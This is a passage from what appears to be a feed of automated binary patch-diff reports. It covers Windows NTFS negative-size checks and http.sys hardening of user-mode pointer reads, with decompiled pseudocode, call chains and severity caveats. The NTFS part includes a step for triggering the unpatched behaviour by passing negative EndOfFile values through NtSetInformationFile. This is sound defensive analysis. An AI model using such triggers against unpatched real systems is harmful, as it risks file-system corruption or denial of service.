&lt;td&gt;&lt;code&gt;0x1C00E8FEF&lt;/code&gt; (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call Feature_2681941305__private_IsEnabledDeviceUsage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;start of the added gate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00E8FFF&lt;/code&gt; / &lt;code&gt;0x1C00E9002&lt;/code&gt; (patched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test rdi, rdi; jns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the added lower-bound check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00E7C40&lt;/code&gt; (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtfsCommonSetInformation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dispatcher; break to confirm &lt;code&gt;FileInformationClass&lt;/code&gt; 14/19/20&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;To confirm the behavioral difference: set &lt;code&gt;EndOfFile&lt;/code&gt; (or &lt;code&gt;AllocationSize&lt;/code&gt;, or &lt;code&gt;CurrentByteOffset&lt;/code&gt;) to a negative value via &lt;code&gt;NtSetInformationFile&lt;/code&gt;, break at the load, and observe that in the unpatched build execution falls through the signed comparisons and stores the value, whereas the patched build (with the feature enabled) returns &lt;code&gt;0xC000000D&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt; (&lt;code&gt;0x1C00E8EE0&lt;/code&gt; → &lt;code&gt;0x1C00E8EB0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Added feature-gated &lt;code&gt;EndOfFile &amp;gt;= 0&lt;/code&gt; check returning &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsSetAllocationInfo&lt;/code&gt; (&lt;code&gt;0x1C00E6864&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Added feature-gated &lt;code&gt;AllocationSize &amp;gt;= 0&lt;/code&gt; check alongside the existing max-size check.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsSetPositionInfo&lt;/code&gt; (&lt;code&gt;0x1C020DD74&lt;/code&gt;, new)&lt;/td&gt;
&lt;td&gt;Case-14 handler extracted from the dispatcher; adds feature-gated &lt;code&gt;CurrentByteOffset &amp;gt;= 0&lt;/code&gt; check.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; (&lt;code&gt;0x1C00E7C40&lt;/code&gt; → &lt;code&gt;0x1C00E7C10&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Case &lt;code&gt;14&lt;/code&gt; inline position assignment replaced with a call to the new &lt;code&gt;NtfsSetPositionInfo&lt;/code&gt;. Dispatch logic otherwise unchanged.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Feature-staging infrastructure (non-security)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Feature_2681941305__private_IsEnabledDeviceUsage&lt;/code&gt; / &lt;code&gt;IsEnabledFallback&lt;/code&gt; and the &lt;code&gt;wil_*&lt;/code&gt; feature-staging helpers (&lt;code&gt;wil_InitializeFeatureStaging&lt;/code&gt;, &lt;code&gt;wil_details_EvaluateFeatureDependencies&lt;/code&gt;, &lt;code&gt;wil_details_PopulateInitialConfiguredFeatureStates&lt;/code&gt;, &lt;code&gt;wil_details_UpdateFeatureConfiguredStates&lt;/code&gt;) reflect the addition of the new &lt;code&gt;Feature_2681941305&lt;/code&gt; staging entry. This is Microsoft's standard feature-flag plumbing, not a security fix in itself.&lt;/p&gt;
&lt;h3&gt;Diagnostic-only churn (non-security)&lt;/h3&gt;
&lt;p&gt;The remaining functions reported as "changed" differ &lt;strong&gt;only&lt;/strong&gt; in the numeric source-line identifiers passed to &lt;code&gt;NtfsStatusTraceAndDebugInternal&lt;/code&gt; / &lt;code&gt;NtfsRaiseStatusInternal&lt;/code&gt; (and a few relocated string/call addresses). These constants shifted uniformly because the inserted checks added source lines upstream. Verified for: &lt;code&gt;NtfsSetValidDataLengthInfo&lt;/code&gt;, &lt;code&gt;NtfsCheckScbForLinkRemoval&lt;/code&gt;, &lt;code&gt;NtfsFileInfoExceptionFilter&lt;/code&gt;, &lt;code&gt;NtfsFindTargetElements&lt;/code&gt;, &lt;code&gt;NtfsGetSfioReservation&lt;/code&gt;, &lt;code&gt;NtfsSetSfioReservation&lt;/code&gt;, &lt;code&gt;NtfsMoveLinkToNewDir&lt;/code&gt;, &lt;code&gt;NtfsRenameLinkInDir&lt;/code&gt;, &lt;code&gt;NtfsProcessTreeForRename&lt;/code&gt;, &lt;code&gt;NtfsStreamRename&lt;/code&gt;, &lt;code&gt;NtfsUpdateDuplicateInfo&lt;/code&gt;, &lt;code&gt;NtfsWalkDownTreeOnDisk&lt;/code&gt;, &lt;code&gt;NtfsWriteUsnForRenameAndCommit&lt;/code&gt;, &lt;code&gt;NtfsPrepareToShrinkFileSize&lt;/code&gt;, &lt;code&gt;EfsWaitForServiceReady&lt;/code&gt;. None carry a semantic or security change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Direction&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Added (patched only)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtfsSetPositionInfo&lt;/code&gt; (extracted case-14 handler) and the &lt;code&gt;Feature_2681941305&lt;/code&gt; staging helpers.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Removed (unpatched only)&lt;/td&gt;
&lt;td&gt;None.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High&lt;/strong&gt; on the mechanism; &lt;strong&gt;Low&lt;/strong&gt; on impact severity.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The added checks (&lt;code&gt;&amp;gt;= 0&lt;/code&gt; on the user-supplied 64-bit size/offset, returning &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;) are confirmed in both the decompiled C and the disassembly of all three handlers.&lt;/li&gt;
&lt;li&gt;The pre-patch code demonstrably validated only an upper bound with a signed comparison, so negative values were accepted and committed — this is CWE-839 (numeric range comparison without a minimum check).&lt;/li&gt;
&lt;li&gt;The entry point is &lt;code&gt;NtSetInformationFile&lt;/code&gt; / &lt;code&gt;IRP_MJ_SET_INFORMATION&lt;/code&gt; (information classes 14/19/20), &lt;strong&gt;not&lt;/strong&gt; an FSCTL / &lt;code&gt;NtFsControlFile&lt;/code&gt; path.&lt;/li&gt;
&lt;li&gt;The fix is feature-gated behind &lt;code&gt;Feature_2681941305&lt;/code&gt;; the old (unchecked) path is retained when the flag is off, so this is a staged rollout whose default state is not observable in the static image.&lt;/li&gt;
&lt;li&gt;No out-of-bounds access, information leak, or privilege-escalation primitive is demonstrable from this diff. Downstream consequences of a committed negative size (corruption, DoS) are plausible but unproven here and are not claimed as fact.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>http.sys — Unsafe direct user-mode reads in legacy send/capture paths hardened with safe-capture primitives (CWE-822) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_6e6517d2-http-report-20260629-002209.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/http_6e6517d2-http-report-20260629-002209.html</id><summary type="html">&lt;p&gt;KB5079473&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9267&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 3905&lt;/li&gt;
&lt;li&gt;Identical Functions: 3706&lt;/li&gt;
&lt;li&gt;Changed Functions: 199&lt;/li&gt;
&lt;li&gt;Unmatched Functions: 0 (Added: 0, Removed: 0)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch is a user-mode-access (UMA) hardening rollout across the legacy ("Old") HTTP response-send and channel-binding-capture paths. Where the unpatched build dereferences user-supplied pointers directly (each direct read already guarded by &lt;code&gt;ProbeForRead&lt;/code&gt; / &lt;code&gt;UlProbeAnsiString&lt;/code&gt; on the string data, and the array as a whole probed once on the 64-bit path), the patched build adds an alternative code path that reads each field once through the safe-capture intrinsics (&lt;code&gt;RtlReadUShortFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULongFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt;, &lt;code&gt;RtlCopyFromUser&lt;/code&gt; / &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt;), adds explicit alignment validation (&lt;code&gt;UxProbeAlignment&lt;/code&gt; / a &lt;code&gt;base &amp;amp; 7&lt;/code&gt; check), and uses a combined probe-and-copy helper (&lt;code&gt;UxTryProbeAndCopyAnsiStringFromMode&lt;/code&gt;). The new path is selected by default through a new Known-Issue-Rollback (KIR) feature flag, &lt;code&gt;UxKirNewUma&lt;/code&gt; (present 280 times in the patched build, absent in the unpatched build). Because this is a KIR, the old direct-dereference code is &lt;strong&gt;retained&lt;/strong&gt; in the patched binary and runs whenever the flag is disabled. The safe-capture helpers (&lt;code&gt;RtlRead*FromUser&lt;/code&gt;, &lt;code&gt;RtlCopy*&lt;/code&gt;, &lt;code&gt;UxProbeAlignment&lt;/code&gt;, &lt;code&gt;ReadPtr32FromMode&lt;/code&gt;) do not appear at all in the unpatched build. This is defense-in-depth hardening of user-mode reads; no exploitable primitive (out-of-bounds write, unbounded copy, or observable information leak) is demonstrable in the binaries, because the string data is probed and the copy lengths are bounds-checked in both builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Direct/Double User-Mode Read of Trailer Descriptors — &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (sub_14009DE00)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (local; defense-in-depth hardening)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Unsafe direct user-mode pointer dereference, including a double read of a length field (CWE-822, with a CWE-367 double-fetch aspect)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (unpatched &lt;code&gt;sub_14009DE00&lt;/code&gt; @ 0x14009DE00; patched @ 0x14009EEA0)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; &lt;code&gt;UlGenerateTrailers&lt;/code&gt; walks an array of trailer name/value descriptors that the caller of the HTTP Server API supplies in the response object (array base at &lt;code&gt;*(a2 + 16)&lt;/code&gt;, count at &lt;code&gt;*(a2 + 8)&lt;/code&gt;, rejected at or above &lt;code&gt;0x2710&lt;/code&gt;). In the unpatched build each descriptor length is read by dereferencing the pointer directly: the name length is loaded into &lt;code&gt;v18&lt;/code&gt; (&lt;code&gt;v18 = *v17&lt;/code&gt;) and then loaded a second time into &lt;code&gt;v33&lt;/code&gt; (&lt;code&gt;v33 = *v17&lt;/code&gt;), and the value length is likewise loaded into &lt;code&gt;v23&lt;/code&gt;/&lt;code&gt;v24&lt;/code&gt; from &lt;code&gt;v17[1]&lt;/code&gt;; the name/value string pointers are read directly from &lt;code&gt;*(entry + 8)&lt;/code&gt; / &lt;code&gt;*(entry + 16)&lt;/code&gt;. The name-length reads are only two adjacent loads of the same field, so the double-fetch window is extremely narrow. The string data itself is probed with &lt;code&gt;UlProbeAnsiString&lt;/code&gt; before it is copied, and the copy into the kernel destination is bounded by &lt;code&gt;if (name_len &amp;gt; remaining) fail&lt;/code&gt; (returning &lt;code&gt;0xC0000096&lt;/code&gt; / &lt;code&gt;-1073741670&lt;/code&gt;) in both builds, so this path does not overflow the kernel buffer. On the 64-bit caller path the whole descriptor array is probed once (&lt;code&gt;UlProbeForRead(base, 24 * count, 8, mode)&lt;/code&gt;); on the 32-bit / already-captured caller path the array is read directly, because for that caller the descriptor is a kernel-side capture (the same direct read is present in both the unpatched build and the new patched path). The patched build adds, under &lt;code&gt;UxKirNewUma&lt;/code&gt;, an alternative path that reads each field once through &lt;code&gt;RtlReadUShortFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt;, validates the array-base alignment (&lt;code&gt;(base &amp;amp; 7) != 0&lt;/code&gt; rejected with &lt;code&gt;STATUS_DATATYPE_MISALIGNMENT&lt;/code&gt;, &lt;code&gt;0xC000000D&lt;/code&gt;), and copies the string with &lt;code&gt;UxTryProbeAndCopyAnsiStringFromMode&lt;/code&gt;. The pre-existing direct-read path (with its own internal &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; sub-gate, &lt;code&gt;UlProbeAnsiStringOld&lt;/code&gt; + &lt;code&gt;memmove&lt;/code&gt;) is kept as the &lt;code&gt;else&lt;/code&gt; branch and runs when &lt;code&gt;UxKirNewUma&lt;/code&gt; is off.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point:&lt;/strong&gt; A local process calls the HTTP Server API to send a response with trailers (for example &lt;code&gt;HttpSendHttpResponse&lt;/code&gt; / &lt;code&gt;HttpSendResponseEntityBody&lt;/code&gt; with a trailer array).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Flow (Call Chain):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Caller of the HTTP Server API sends a response with trailers.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http.sys&lt;/code&gt; handles the send IRP.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpSendResponseOrEntityBodyFastIo&lt;/code&gt; (&lt;code&gt;sub_14004A5B0&lt;/code&gt;) / the legacy send path drive the fast-send flow.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlFastSendHttpResponseOld&lt;/code&gt; (&lt;code&gt;sub_1400CC828&lt;/code&gt;) calls &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (&lt;code&gt;sub_14009DE00&lt;/code&gt;) to serialize the trailers, where the descriptors are read.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Transfer-Encoding Header Read Before Comparison — &lt;code&gt;UlFastSendHttpResponseOld&lt;/code&gt; (sub_1400CC828)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (local; defense-in-depth hardening)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Direct user-mode read before string comparison (CWE-822)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;UlFastSendHttpResponseOld&lt;/code&gt; (unpatched &lt;code&gt;sub_1400CC828&lt;/code&gt; @ 0x1400CC828; patched @ 0x1400CEC3C)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; This is the legacy fast response-send routine. When it inspects the caller-supplied &lt;code&gt;Transfer-Encoding&lt;/code&gt; header value to decide whether the response is chunked, the unpatched build runs &lt;code&gt;_strnicmp(user_ptr, "chunked", 7)&lt;/code&gt; directly against the user-mode string pointer after an ANSI-string probe (&lt;code&gt;UlProbeAnsiString(*(v50 + 104), 7, mode)&lt;/code&gt;). The patched build, under &lt;code&gt;UxKirNewUma&lt;/code&gt;, first copies the 7 bytes into a local kernel buffer (&lt;code&gt;Str1&lt;/code&gt;) with &lt;code&gt;RtlCopyFromUser&lt;/code&gt; / &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt; (after &lt;code&gt;UlProbeAlignmentAnsiStringOld&lt;/code&gt;) and compares the local copy; the old direct-compare path is retained as the &lt;code&gt;else&lt;/code&gt; branch. The case-insensitive &lt;code&gt;"chunked"&lt;/code&gt; comparison itself exists in both builds. The MDL construction in this function (&lt;code&gt;ByteCount&lt;/code&gt;, &lt;code&gt;Size&lt;/code&gt;, &lt;code&gt;ByteOffset&lt;/code&gt;, &lt;code&gt;IoBuildPartialMdl&lt;/code&gt;) and its length bounds check &lt;code&gt;if (len &amp;gt; remaining) break&lt;/code&gt; are unchanged between the two builds; this function makes no MDL size-calculation change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point:&lt;/strong&gt; Local HTTP Server API caller sends a response through the fast-send path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Flow (Call Chain):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Caller sends a response.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http.sys&lt;/code&gt; send IRP dispatch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpSendResponseOrEntityBodyFastIo&lt;/code&gt; (&lt;code&gt;sub_14004A5B0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlFastSendHttpResponseOld&lt;/code&gt; (&lt;code&gt;sub_1400CC828&lt;/code&gt;) reads the Transfer-Encoding header value.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Direct User-Mode Read of Channel-Binding Config Array — &lt;code&gt;UlCaptureChannelBindConfigOld&lt;/code&gt; (sub_140121DD0)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (local; defense-in-depth hardening)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Direct user-mode pointer dereference (CWE-822)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;UlCaptureChannelBindConfigOld&lt;/code&gt; (unpatched &lt;code&gt;sub_140121DD0&lt;/code&gt; @ 0x140121DD0; patched @ 0x14012E9C4). Note: in the patched binary the address 0x140121DD0 is occupied by an unrelated ETW template helper (&lt;code&gt;McTemplateK0pq_EtwWriteTransfer&lt;/code&gt;) because of layout shift; the matching function is anchored by symbol, at 0x14012E9C4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; This routine captures a channel-binding configuration passed by the caller: an array of up to &lt;code&gt;0x40&lt;/code&gt; service-name/channel-binding entry pointers (count rejected above &lt;code&gt;0x40&lt;/code&gt; with &lt;code&gt;-1073741811&lt;/code&gt; in both builds). In the unpatched build the header fields and each entry are read by dereferencing pointers directly (&lt;code&gt;*a2&lt;/code&gt;, &lt;code&gt;a2[1]&lt;/code&gt;, &lt;code&gt;a2[2]&lt;/code&gt;/&lt;code&gt;a2[3]&lt;/code&gt; on the 32-bit path, &lt;code&gt;*((_QWORD*)a2 + 1)&lt;/code&gt; / &lt;code&gt;a2[4]&lt;/code&gt; on the 64-bit path, then the per-entry pointers). The patched build, under &lt;code&gt;UxKirNewUma&lt;/code&gt;, reads each scalar once through &lt;code&gt;RtlReadULongFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt; (or &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt;), validates alignment with &lt;code&gt;UxProbeAlignment&lt;/code&gt;, and marshals 32-bit entry pointers through &lt;code&gt;ReadPtr32FromMode&lt;/code&gt; (&lt;code&gt;sub_1400C9060&lt;/code&gt;). The 32-bit-versus-64-bit caller handling (&lt;code&gt;IoIs32bitProcess&lt;/code&gt;, 4-byte versus 8-byte pointer stride, &lt;code&gt;4*count&lt;/code&gt; versus &lt;code&gt;8*count&lt;/code&gt; probe length) is already present in both builds; the patch does not add WOW64 stride selection, it makes the per-field reads route through the safe-capture intrinsics.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point:&lt;/strong&gt; Local caller of the HTTP Server API supplies a channel-binding configuration through the corresponding IOCTL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Flow (Call Chain):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Caller submits a channel-binding config IOCTL.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http.sys&lt;/code&gt; IOCTL dispatch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlCaptureChannelBindConfigOld&lt;/code&gt; (&lt;code&gt;sub_140121DD0&lt;/code&gt;) captures and copies the entry array.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;UlGenerateTrailers&lt;/code&gt; (sub_14009DE00 → sub_14009EEA0)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED UlGenerateTrailers (sub_14009DE00) ===&lt;/span&gt;
&lt;span class="c1"&gt;// 64-bit path probes the whole array once; the 32-bit / captured path reads directly.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoIs32bitProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// caller descriptor already kernel-captured&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeForRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// probe whole 24*count array&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;24L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// name length, read #1 (used for copy + bounds)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v33&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// name length, read #2 (reported to UlSetParsedHeader)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// name pointer, direct read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// string data IS probed&lt;/span&gt;
